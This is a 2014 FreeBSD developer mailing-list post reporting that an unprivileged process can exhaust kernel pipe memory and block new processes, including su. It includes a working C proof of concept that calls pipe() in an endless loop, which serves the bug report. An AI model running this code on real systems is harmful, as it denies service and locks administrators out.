Date: Mon, 07 Apr 2014 13:02:22 +0200 From: Ivan Voras <ivoras@freebsd.org> To: freebsd-hackers@freebsd.org Subject: pipe() resource exhaustion Message-ID: <lhu0jv$r6n$1@ger.gmane.org>
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Hello,
Last time I mentioned this it didn't get any attention, so I'll try
again. By accident (via a buggy synergy server process) I found that a
simple userland process can exhaust kernel pipe memory (kern.ipc.pipekva
sysctl) which as a consequence has that new processes which use pipe
cannot be started, which includes "su", by which an administrator could
kill such a process.
The description is simple enough, I don't think a proof of concept is
really needed, but here it is:
step 1:
run this as a normal, non-root user:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <err.h>
#include <string.h>
int main() {
int fd[2];
int is_error = 0;
while (1) {
if (pipe(fd) != 0) {
if (!is_error) {
printf("%s\n", strerror(errno));
is_error = 1;
}
}
}
}
step 2:
try and fail to run "su" in another terminal:
$ su
Password:
su: pipe: Cannot allocate memory
I'm sure this has other implications as well :)
The problem isn't present on all systems: on some it looks like the
limit on fd's is reached faster than the limit on pipekva. Of 5 machines
I tested, 3 running 9.x and 2 running 10.x, both machines running 10.x
exhaust pipekva before fd's, while only one machine running 9.x did
that. Neither machine had increased fd limits above the autotuned defaults.
Anecdotally, a machine which was running 9.x didn't experience this
problem with synergys, but it did when upgraded to 10.x with no change
to sysctl configuration.
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